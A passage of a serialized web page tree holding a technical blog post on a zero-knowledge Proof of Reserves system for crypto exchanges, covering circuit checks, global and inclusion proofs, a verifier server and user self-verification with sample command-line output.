94820,94825,94830,94835,94840,94845,94902,94907,94912,94917,94922,94927,94932,94937,94942,94947,94952,94957,94962,94967,94972,94977,94982,94987,94992,94997,95002,95007,95012,95017,95022,95027,95032,95037,95042,95047],{"type":23,"tag":504,"props":94817,"children":94819},{"className":94818,"style":91740},[2982],[],{"type":23,"tag":504,"props":94821,"children":94823},{"className":94822},[2988,20569],[94824],{"type":28,"value":9633},{"type":23,"tag":504,"props":94826,"children":94828},{"className":94827},[2988,20569],[94829],{"type":28,"value":92057},{"type":23,"tag":504,"props":94831,"children":94833},{"className":94832},[2988,20569],[94834],{"type":28,"value":2200},{"type":23,"tag":504,"props":94836,"children":94838},{"className":94837},[2988,20569],[94839],{"type":28,"value":24},{"type":23,"tag":504,"props":94841,"children":94843},{"className":94842},[2988,20569],[94844],{"type":28,"value":94144},{"type":23,"tag":504,"props":94846,"children":94848},{"className":94847},[2988],[94849,94854],{"type":23,"tag":504,"props":94850,"children":94852},{"className":94851,"style":94152},[2988,20569],[94853],{"type":28,"value":32062},{"type":23,"tag":504,"props":94855,"children":94857},{"className":94856},[3005],[94858],{"type":23,"tag":504,"props":94859,"children":94861},{"className":94860},[3010,20623],[94862,94891],{"type":23,"tag":504,"props":94863,"children":94865},{"className":94864},[3015],[94866,94886],{"type":23,"tag":504,"props":94867,"children":94869},{"className":94868,"style":92327},[3020],[94870],{"type":23,"tag":504,"props":94871,"children":94872},{"style":94173},[94873,94877],{"type":23,"tag":504,"props":94874,"children":94876},{"className":94875,"style":3030},[3029],[],{"type":23,"tag":504,"props":94878,"children":94880},{"className":94879},[3035,3036,3037,3038],[94881],{"type":23,"tag":504,"props":94882,"children":94884},{"className":94883},[2988,20569,3038],[94885],{"type":28,"value":2716},{"type":23,"tag":504,"props":94887,"children":94889},{"className":94888},[20726],[94890],{"type":28,"value":20729},{"type":23,"tag":504,"props":94892,"children":94894},{"className":94893},[3015],[94895],{"type":23,"tag":504,"props":94896,"children":94898},{"className":94897,"style":91881},[3020],[94899],{"type":23,"tag":504,"props":94900,"children":94901},{},[],{"type":23,"tag":504,"props":94903,"children":94905},{"className":94904},[2988],[94906],{"type":28,"value":320},{"type":23,"tag":504,"props":94908,"children":94910},{"className":94909},[2988,20569],[94911],{"type":28,"value":24},{"type":23,"tag":504,"props":94913,"children":94915},{"className":94914},[2988,20569],[94916],{"type":28,"value":92057},{"type":23,"tag":504,"props":94918,"children":94920},{"className":94919},[2988,20569],[94921],{"type":28,"value":2200},{"type":23,"tag":504,"props":94923,"children":94925},{"className":94924,"style":91810},[2988,20569],[94926],{"type":28,"value":91813},{"type":23,"tag":504,"props":94928,"children":94930},{"className":94929},[2988,20569],[94931],{"type":28,"value":2716},{"type":23,"tag":504,"props":94933,"children":94935},{"className":94934},[2988,20569],[94936],{"type":28,"value":2124},{"type":23,"tag":504,"props":94938,"children":94940},{"className":94939,"style":91798},[2988],[94941],{"type":28,"value":2059},{"type":23,"tag":504,"props":94943,"children":94945},{"className":94944},[2988,20569],[94946],{"type":28,"value":94249},{"type":23,"tag":504,"props":94948,"children":94950},{"className":94949},[2988,20569],[94951],{"type":28,"value":24},{"type":23,"tag":504,"props":94953,"children":94955},{"className":94954},[2988,20569],[94956],{"type":28,"value":92057},{"type":23,"tag":504,"props":94958,"children":94960},{"className":94959},[2988,20569],[94961],{"type":28,"value":20711},{"type":23,"tag":504,"props":94963,"children":94965},{"className":94964},[2988],[94966],{"type":28,"value":320},{"type":23,"tag":504,"props":94968,"children":94970},{"className":94969},[2988,20569],[94971],{"type":28,"value":92},{"type":23,"tag":504,"props":94973,"children":94975},{"className":94974},[2988,20569],[94976],{"type":28,"value":91789},{"type":23,"tag":504,"props":94978,"children":94980},{"className":94979},[2988,20569],[94981],{"type":28,"value":20711},{"type":23,"tag":504,"props":94983,"children":94985},{"className":94984,"style":91798},[2988],[94986],{"type":28,"value":2059},{"type":23,"tag":504,"props":94988,"children":94990},{"className":94989},[2988,20569],[94991],{"type":28,"value":24},{"type":23,"tag":504,"props":94993,"children":94995},{"className":94994,"style":91798},[2988,20569],[94996],{"type":28,"value":92617},{"type":23,"tag":504,"props":94998,"children":95000},{"className":94999},[2988,20569],[95001],{"type":28,"value":2716},{"type":23,"tag":504,"props":95003,"children":95005},{"className":95004},[2988,20569],[95006],{"type":28,"value":92628},{"type":23,"tag":504,"props":95008,"children":95010},{"className":95009},[20698],[95011],{"type":28,"value":2711},{"type":23,"tag":504,"props":95013,"children":95015},{"className":95014},[2988,20569],[95016],{"type":28,"value":92},{"type":23,"tag":504,"props":95018,"children":95020},{"className":95019},[2988,20569],[95021],{"type":28,"value":91789},{"type":23,"tag":504,"props":95023,"children":95025},{"className":95024},[2988,20569],[95026],{"type":28,"value":20711},{"type":23,"tag":504,"props":95028,"children":95030},{"className":95029,"style":91798},[2988],[95031],{"type":28,"value":2059},{"type":23,"tag":504,"props":95033,"children":95035},{"className":95034},[2988,20569],[95036],{"type":28,"value":55382},{"type":23,"tag":504,"props":95038,"children":95040},{"className":95039},[2988,20569],[95041],{"type":28,"value":92057},{"type":23,"tag":504,"props":95043,"children":95045},{"className":95044},[2988,20569],[95046],{"type":28,"value":50112},{"type":23,"tag":504,"props":95048,"children":95050},{"className":95049},[20720],[95051],{"type":28,"value":14391},{"type":28,"value":5441},{"type":23,"tag":296,"props":95054,"children":95055},{},[95056],{"type":28,"value":95057},"(verifies if all asset prices are the same)",{"type":23,"tag":45,"props":95059,"children":95060},{},[95061,95440,95441],{"type":23,"tag":56,"props":95062,"children":95064},{"className":95063},[2960,2961],[95065],{"type":23,"tag":504,"props":95066,"children":95068},{"className":95067},[2966],[95069],{"type":23,"tag":504,"props":95070,"children":95072},{"className":95071,"ariaHidden":2972},[2971],[95073,95154],{"type":23,"tag":504,"props":95074,"children":95076},{"className":95075},[2977],[95077,95081,95086,95091,95096,95101,95106,95111,95116,95121,95126,95131,95136,95141,95145,95150],{"type":23,"tag":504,"props":95078,"children":95080},{"className":95079,"style":93211},[2982],[],{"type":23,"tag":504,"props":95082,"children":95084},{"className":95083},[2988,20569],[95085],{"type":28,"value":50112},{"type":23,"tag":504,"props":95087,"children":95089},{"className":95088,"style":91798},[2988,20569],[95090],{"type":28,"value":93223},{"type":23,"tag":504,"props":95092,"children":95094},{"className":95093,"style":93227},[2988,20569],[95095],{"type":28,"value":87435},{"type":23,"tag":504,"props":95097,"children":95099},{"className":95098,"style":91810},[2988,20569],[95100],{"type":28,"value":91813},{"type":23,"tag":504,"props":95102,"children":95104},{"className":95103},[2988,20569],[95105],{"type":28,"value":1231},{"type":23,"tag":504,"props":95107,"children":95109},{"className":95108,"style":91798},[2988],[95110],{"type":28,"value":2059},{"type":23,"tag":504,"props":95112,"children":95114},{"className":95113},[2988,20569],[95115],{"type":28,"value":20711},{"type":23,"tag":504,"props":95117,"children":95119},{"className":95118},[2988,20569],[95120],{"type":28,"value":93255},{"type":23,"tag":504,"props":95122,"children":95124},{"className":95123,"style":91798},[2988],[95125],{"type":28,"value":2059},{"type":23,"tag":504,"props":95127,"children":95129},{"className":95128},[2988,20569],[95130],{"type":28,"value":93266},{"type":23,"tag":504,"props":95132,"children":95134},{"className":95133},[2988,20569],[95135],{"type":28,"value":9633},{"type":23,"tag":504,"props":95137,"children":95139},{"className":95138},[2988,20569],[95140],{"type":28,"value":83096},{"type":23,"tag":504,"props":95142,"children":95144},{"className":95143,"style":3167},[3069],[],{"type":23,"tag":504,"props":95146,"children":95148},{"className":95147},[3172],[95149],{"type":28,"value":7559},{"type":23,"tag":504,"props":95151,"children":95153},{"className":95152,"style":3167},[3069],[],{"type":23,"tag":504,"props":95155,"children":95157},{"className":95156},[2977],[95158,95162,95167,95172,95177,95182,95187,95192,95197,95202,95207,95264,95269,95273,95278,95283,95340,95345,95349,95354,95359,95363,95368,95373,95435],{"type":23,"tag":504,"props":95159,"children":95161},{"className":95160,"style":3090},[2982],[],{"type":23,"tag":504,"props":95163,"children":95165},{"className":95164,"style":20570},[2988,20569],[95166],{"type":28,"value":20573},{"type":23,"tag":504,"props":95168,"children":95170},{"className":95169},[2988,20569],[95171],{"type":28,"value":91752},{"type":23,"tag":504,"props":95173,"children":95175},{"className":95174},[2988,20569],[95176],{"type":28,"value":2716},{"type":23,"tag":504,"props":95178,"children":95180},{"className":95179},[2988,20569],[95181],{"type":28,"value":1169},{"type":23,"tag":504,"props":95183,"children":95185},{"className":95184},[2988,20569],[95186],{"type":28,"value":91768},{"type":23,"tag":504,"props":95188,"children":95190},{"className":95189},[2988,20569],[95191],{"type":28,"value":55382},{"type":23,"tag":504,"props":95193,"children":95195},{"className":95194},[20698],[95196],{"type":28,"value":526},{"type":23,"tag":504,"props":95198,"children":95200},{"className":95199},[2988,20569],[95201],{"type":28,"value":93266},{"type":23,"tag":504,"props":95203,"children":95205},{"className":95204},[2988,20569],[95206],{"type":28,"value":9633},{"type":23,"tag":504,"props":95208,"children":95210},{"className":95209},[2988],[95211,95216],{"type":23,"tag":504,"props":95212,"children":95214},{"className":95213},[2988,20569],[95215],{"type":28,"value":83096},{"type":23,"tag":504,"props":95217,"children":95219},{"className":95218},[3005],[95220],{"type":23,"tag":504,"props":95221,"children":95223},{"className":95222},[3010,20623],[95224,95253],{"type":23,"tag":504,"props":95225,"children":95227},{"className":95226},[3015],[95228,95248],{"type":23,"tag":504,"props":95229,"children":95231},{"className":95230,"style":91850},[3020],[95232],{"type":23,"tag":504,"props":95233,"children":95234},{"style":91854},[95235,95239],{"type":23,"tag":504,"props":95236,"children":95238},{"className":95237,"style":3030},[3029],[],{"type":23,"tag":504,"props":95240,"children":95242},{"className":95241},[3035,3036,3037,3038],[95243],{"type":23,"tag":504,"props":95244,"children":95246},{"className":95245},[2988,3038],[95247],{"type":28,"value":3001},{"type":23,"tag":504,"props":95249,"children":95251},{"className":95250},[20726],[95252],{"type":28,"value":20729},{"type":23,"tag":504,"props":95254,"children":95256},{"className":95255},[3015],[95257],{"type":23,"tag":504,"props":95258,"children":95260},{"className":95259,"style":91881},[3020],[95261],{"type":23,"tag":504,"props":95262,"children":95263},{},[],{"type":23,"tag":504,"props":95265,"children":95267},{"className":95266},[3101],[95268],{"type":28,"value":3104},{"type":23,"tag":504,"props":95270,"children":95272},{"className":95271,"style":3108},[3069],[],{"type":23,"tag":504,"props":95274,"children":95276},{"className":95275},[2988,20569],[95277],{"type":28,"value":93266},{"type":23,"tag":504,"props":95279,"children":95281},{"className":95280},[2988,20569],[95282],{"type":28,"value":9633},{"type":23,"tag":504,"props":95284,"children":95286},{"className":95285},[2988],[95287,95292],{"type":23,"tag":504,"props":95288,"children":95290},{"className":95289},[2988,20569],[95291],{"type":28,"value":83096},{"type":23,"tag":504,"props":95293,"children":95295},{"className":95294},[3005],[95296],{"type":23,"tag":504,"props":95297,"children":95299},{"className":95298},[3010,20623],[95300,95329],{"type":23,"tag":504,"props":95301,"children":95303},{"className":95302},[3015],[95304,95324],{"type":23,"tag":504,"props":95305,"children":95307},{"className":95306,"style":91850},[3020],[95308],{"type":23,"tag":504,"props":95309,"children":95310},{"style":91854},[95311,95315],{"type":23,"tag":504,"props":95312,"children":95314},{"className":95313,"style":3030},[3029],[],{"type":23,"tag":504,"props":95316,"children":95318},{"className":95317},[3035,3036,3037,3038],[95319],{"type":23,"tag":504,"props":95320,"children":95322},{"className":95321},[2988,3038],[95323],{"type":28,"value":2991},{"type":23,"tag":504,"props":95325,"children":95327},{"className":95326},[20726],[95328],{"type":28,"value":20729},{"type":23,"tag":504,"props":95330,"children":95332},{"className":95331},[3015],[95333],{"type":23,"tag":504,"props":95334,"children":95336},{"className":95335,"style":91881},[3020],[95337],{"type":23,"tag":504,"props":95338,"children":95339},{},[],{"type":23,"tag":504,"props":95341,"children":95343},{"className":95342},[3101],[95344],{"type":28,"value":3104},{"type":23,"tag":504,"props":95346,"children":95348},{"className":95347,"style":3108},[3069],[],{"type":23,"tag":504,"props":95350,"children":95352},{"className":95351},[2988],[95353],{"type":28,"value":8572},{"type":23,"tag":504,"props":95355,"children":95357},{"className":95356},[3101],[95358],{"type":28,"value":3104},{"type":23,"tag":504,"props":95360,"children":95362},{"className":95361,"style":3108},[3069],[],{"type":23,"tag":504,"props":95364,"children":95366},{"className":95365},[2988,20569],[95367],{"type":28,"value":93266},{"type":23,"tag":504,"props":95369,"children":95371},{"className":95370},[2988,20569],[95372],{"type":28,"value":9633},{"type":23,"tag":504,"props":95374,"children":95376},{"className":95375},[2988],[95377,95382],{"type":23,"tag":504,"props":95378,"children":95380},{"className":95379},[2988,20569],[95381],{"type":28,"value":83096},{"type":23,"tag":504,"props":95383,"children":95385},{"className":95384},[3005],[95386],{"type":23,"tag":504,"props":95387,"children":95389},{"className":95388},[3010,20623],[95390,95424],{"type":23,"tag":504,"props":95391,"children":95393},{"className":95392},[3015],[95394,95419],{"type":23,"tag":504,"props":95395,"children":95397},{"className":95396,"style":91850},[3020],[95398],{"type":23,"tag":504,"props":95399,"children":95400},{"style":91854},[95401,95405],{"type":23,"tag":504,"props":95402,"children":95404},{"className":95403,"style":3030},[3029],[],{"type":23,"tag":504,"props":95406,"children":95408},{"className":95407},[3035,3036,3037,3038],[95409],{"type":23,"tag":504,"props":95410,"children":95412},{"className":95411},[2988,3038],[95413],{"type":23,"tag":504,"props":95414,"children":95416},{"className":95415},[2988,3038],[95417],{"type":28,"value":95418},"31",{"type":23,"tag":504,"props":95420,"children":95422},{"className":95421},[20726],[95423],{"type":28,"value":20729},{"type":23,"tag":504,"props":95425,"children":95427},{"className":95426},[3015],[95428],{"type":23,"tag":504,"props":95429,"children":95431},{"className":95430,"style":91881},[3020],[95432],{"type":23,"tag":504,"props":95433,"children":95434},{},[],{"type":23,"tag":504,"props":95436,"children":95438},{"className":95437},[20720],[95439],{"type":28,"value":2105},{"type":28,"value":5441},{"type":23,"tag":296,"props":95442,"children":95443},{},[95444],{"type":28,"value":93586},{"type":23,"tag":45,"props":95446,"children":95447},{},[95448,95453,95454],{"type":23,"tag":1887,"props":95449,"children":95450},{},[95451],{"type":28,"value":95452},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":5441},{"type":23,"tag":296,"props":95455,"children":95456},{},[95457],{"type":28,"value":93870},{"type":23,"tag":24,"props":95459,"children":95460},{},[95461],{"type":28,"value":95462},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":95464,"children":95465},{},[95466],{"type":23,"tag":126,"props":95467,"children":95469},{"alt":128,"src":95468},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":70,"props":95471,"children":95473},{"id":95472},"global-proof-and-inclusion-proofs",[95474],{"type":28,"value":95475},"Global Proof and Inclusion Proofs",{"type":23,"tag":82,"props":95477,"children":95478},{"id":8263},[95479],{"type":28,"value":95480},"Proving",{"type":23,"tag":24,"props":95482,"children":95483},{},[95484,95486,95492,95493,95499,95500,95506],{"type":28,"value":95485},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":56,"props":95487,"children":95489},{"className":95488},[],[95490],{"type":28,"value":95491},"merkle_tree.json",{"type":28,"value":576},{"type":23,"tag":56,"props":95494,"children":95496},{"className":95495},[],[95497],{"type":28,"value":95498},"final_proof.json",{"type":28,"value":5471},{"type":23,"tag":56,"props":95501,"children":95503},{"className":95502},[],[95504],{"type":28,"value":95505},"private_nonces.json",{"type":28,"value":95507}," files.",{"type":23,"tag":24,"props":95509,"children":95510},{},[95511],{"type":28,"value":95512},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":95514,"children":95515},{},[95516,95518,95524,95526,95531],{"type":28,"value":95517},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":56,"props":95519,"children":95521},{"className":95520},[],[95522],{"type":28,"value":95523},"inclusion_proof_\u003Cid>.json",{"type":28,"value":95525},"). ",{"type":23,"tag":1887,"props":95527,"children":95528},{},[95529],{"type":28,"value":95530},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":320},{"type":23,"tag":82,"props":95533,"children":95535},{"id":95534},"verifying",[95536],{"type":28,"value":95537},"Verifying",{"type":23,"tag":24,"props":95539,"children":95540},{},[95541],{"type":23,"tag":296,"props":95542,"children":95543},{},[95544],{"type":28,"value":95545},"Global Proof",{"type":23,"tag":24,"props":95547,"children":95548},{},[95549,95551,95556,95557,95562],{"type":28,"value":95550},"To verify the global proof, the code deserializes the ",{"type":23,"tag":56,"props":95552,"children":95554},{"className":95553},[],[95555],{"type":28,"value":95491},{"type":28,"value":36526},{"type":23,"tag":56,"props":95558,"children":95560},{"className":95559},[],[95561],{"type":28,"value":95498},{"type":28,"value":95563}," files and performs these checks:",{"type":23,"tag":41,"props":95565,"children":95566},{},[95567,95572,95577,95582,95608],{"type":23,"tag":45,"props":95568,"children":95569},{},[95570],{"type":28,"value":95571},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":45,"props":95573,"children":95574},{},[95575],{"type":28,"value":95576},"Verify the ZK final proof.",{"type":23,"tag":45,"props":95578,"children":95579},{},[95580],{"type":28,"value":95581},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":45,"props":95583,"children":95584},{},[95585,95587,95593,95595,95600,95601,95606],{"type":28,"value":95586},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":56,"props":95588,"children":95590},{"className":95589},[],[95591],{"type":28,"value":95592},"merkle_tree_hash",{"type":28,"value":95594}," public input. This ensures that the ",{"type":23,"tag":56,"props":95596,"children":95598},{"className":95597},[],[95599],{"type":28,"value":95491},{"type":28,"value":430},{"type":23,"tag":56,"props":95602,"children":95604},{"className":95603},[],[95605],{"type":28,"value":95498},{"type":28,"value":95607}," are linked (they belong to the same global proof).",{"type":23,"tag":45,"props":95609,"children":95610},{},[95611],{"type":28,"value":95612},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":95614,"children":95615},{},[95616],{"type":23,"tag":296,"props":95617,"children":95618},{},[95619],{"type":28,"value":95620},"Inclusion Proof",{"type":23,"tag":24,"props":95622,"children":95623},{},[95624,95626,95631,95633,95638],{"type":28,"value":95625},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":56,"props":95627,"children":95629},{"className":95628},[],[95630],{"type":28,"value":95523},{"type":28,"value":95632}," file and also the ",{"type":23,"tag":56,"props":95634,"children":95636},{"className":95635},[],[95637],{"type":28,"value":95498},{"type":28,"value":95639},". After that, it performs these checks:",{"type":23,"tag":41,"props":95641,"children":95642},{},[95643,95647,95652,95657],{"type":23,"tag":45,"props":95644,"children":95645},{},[95646],{"type":28,"value":95576},{"type":23,"tag":45,"props":95648,"children":95649},{},[95650],{"type":28,"value":95651},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":45,"props":95653,"children":95654},{},[95655],{"type":28,"value":95656},"Recalculate the user-related node leaf hash.",{"type":23,"tag":45,"props":95658,"children":95659},{},[95660],{"type":28,"value":95661},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":70,"props":95663,"children":95665},{"id":95664},"por-verifier-server",[95666],{"type":28,"value":95667},"PoR Verifier Server",{"type":23,"tag":24,"props":95669,"children":95670},{},[95671,95673,95679],{"type":28,"value":95672},"To automate the verification process, we created a ",{"type":23,"tag":92,"props":95674,"children":95676},{"href":91309,"rel":95675},[96],[95677],{"type":28,"value":95678},"verifier server",{"type":28,"value":95680}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":95682,"children":95683},{},[95684],{"type":28,"value":95685},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":95687,"children":95688},{},[95689],{"type":23,"tag":126,"props":95690,"children":95692},{"alt":128,"src":95691},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":95694,"children":95695},{},[95696],{"type":28,"value":95697},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":350,"props":95699,"children":95700},{},[95701,95711,95721,95731,95741,95751],{"type":23,"tag":45,"props":95702,"children":95703},{},[95704,95709],{"type":23,"tag":296,"props":95705,"children":95706},{},[95707],{"type":28,"value":95708},"Status",{"type":28,"value":95710}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":45,"props":95712,"children":95713},{},[95714,95719],{"type":23,"tag":296,"props":95715,"children":95716},{},[95717],{"type":28,"value":95718},"Proof Timestamp",{"type":28,"value":95720}," --> when the proof was generated by the exchange.",{"type":23,"tag":45,"props":95722,"children":95723},{},[95724,95729],{"type":23,"tag":296,"props":95725,"children":95726},{},[95727],{"type":28,"value":95728},"Verify Timestamp",{"type":28,"value":95730}," --> when the proof was verified by the PoR server.",{"type":23,"tag":45,"props":95732,"children":95733},{},[95734,95739],{"type":23,"tag":296,"props":95735,"children":95736},{},[95737],{"type":28,"value":95738},"Proof File URL",{"type":28,"value":95740}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":45,"props":95742,"children":95743},{},[95744,95749],{"type":23,"tag":296,"props":95745,"children":95746},{},[95747],{"type":28,"value":95748},"Prover Version",{"type":28,"value":95750}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":45,"props":95752,"children":95753},{},[95754,95759],{"type":23,"tag":296,"props":95755,"children":95756},{},[95757],{"type":28,"value":95758},"File Hash (SHA256)",{"type":28,"value":95760}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":95762,"children":95763},{},[95764],{"type":28,"value":95765},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":95767,"children":95768},{},[95769],{"type":23,"tag":126,"props":95770,"children":95772},{"alt":128,"src":95771},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":95774,"children":95775},{},[95776,95778,95784,95786,95792],{"type":28,"value":95777},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":92,"props":95779,"children":95782},{"href":95780,"rel":95781},"https://backpack.exchange/reserves",[96],[95783],{"type":28,"value":95780},{"type":28,"value":95785}," and our verifier server for backpack at ",{"type":23,"tag":92,"props":95787,"children":95790},{"href":95788,"rel":95789},"https://backpack-por.osec.io/",[96],[95791],{"type":28,"value":95788},{"type":28,"value":320},{"type":23,"tag":70,"props":95794,"children":95796},{"id":95795},"self-verification",[95797],{"type":28,"value":95798},"Self-verification",{"type":23,"tag":24,"props":95800,"children":95801},{},[95802],{"type":28,"value":95803},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":82,"props":95805,"children":95807},{"id":95806},"how-to-verify-if-i-was-included",[95808],{"type":28,"value":95809},"How to verify if I was included?",{"type":23,"tag":24,"props":95811,"children":95812},{},[95813],{"type":28,"value":95814},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":41,"props":95816,"children":95817},{},[95818,95829,95847],{"type":23,"tag":45,"props":95819,"children":95820},{},[95821,95828],{"type":23,"tag":92,"props":95822,"children":95825},{"href":95823,"rel":95824},"https://github.com/otter-sec/por_v2/releases",[96],[95826],{"type":28,"value":95827},"Download the PoRv2 executable from our github",{"type":28,"value":320},{"type":23,"tag":45,"props":95830,"children":95831},{},[95832,95834,95839,95840,95845],{"type":28,"value":95833},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":56,"props":95835,"children":95837},{"className":95836},[],[95838],{"type":28,"value":95523},{"type":28,"value":430},{"type":23,"tag":56,"props":95841,"children":95843},{"className":95842},[],[95844],{"type":28,"value":95498},{"type":28,"value":95846},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":45,"props":95848,"children":95849},{},[95850,95852,95858],{"type":28,"value":95851},"Open the terminal and execute this: ",{"type":23,"tag":56,"props":95853,"children":95855},{"className":95854},[],[95856],{"type":28,"value":95857},"./plonky2_por verify-inclusion",{"type":28,"value":320},{"type":23,"tag":24,"props":95860,"children":95861},{},[95862],{"type":28,"value":95863},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":494,"props":95865,"children":95867},{"code":95866},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[95868],{"type":23,"tag":56,"props":95869,"children":95870},{"__ignoreMap":7},[95871],{"type":28,"value":95866},{"type":23,"tag":82,"props":95873,"children":95875},{"id":95874},"how-can-i-verify-the-global-proof",[95876],{"type":28,"value":95877},"How can I verify the global proof?",{"type":23,"tag":24,"props":95879,"children":95880},{},[95881],{"type":28,"value":95882},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":41,"props":95884,"children":95885},{},[95886,95895,95913],{"type":23,"tag":45,"props":95887,"children":95888},{},[95889,95894],{"type":23,"tag":92,"props":95890,"children":95892},{"href":95823,"rel":95891},[96],[95893],{"type":28,"value":95827},{"type":28,"value":320},{"type":23,"tag":45,"props":95896,"children":95897},{},[95898,95900,95905,95906,95911],{"type":28,"value":95899},"Download the ",{"type":23,"tag":56,"props":95901,"children":95903},{"className":95902},[],[95904],{"type":28,"value":95491},{"type":28,"value":36526},{"type":23,"tag":56,"props":95907,"children":95909},{"className":95908},[],[95910],{"type":28,"value":95498},{"type":28,"value":95912}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":45,"props":95914,"children":95915},{},[95916,95918,95923],{"type":28,"value":95917},"Open the terminal and execute ",{"type":23,"tag":56,"props":95919,"children":95921},{"className":95920},[],[95922],{"type":28,"value":95857},{"type":28,"value":95924},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":95926,"children":95927},{},[95928],{"type":28,"value":95929},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":494,"props":95931,"children":95933},{"code":95932},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[95934],{"type":23,"tag":56,"props":95935,"children":95936},{"__ignoreMap":7},[95937],{"type":28,"value":95932},{"type":23,"tag":24,"props":95939,"children":95940},{},[95941],{"type":28,"value":95942},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":494,"props":95944,"children":95946},{"code":95945},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[95947],{"type":23,"tag":56,"props":95948,"children":95949},{"__ignoreMap":7},[95950],{"type":28,"value":95945},{"type":23,"tag":70,"props":95952,"children":95953},{"id":1800},[95954],{"type":28,"value":1803},{"type":23,"tag":24,"props":95956,"children":95957},{},[95958],{"type":28,"value":95959},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By 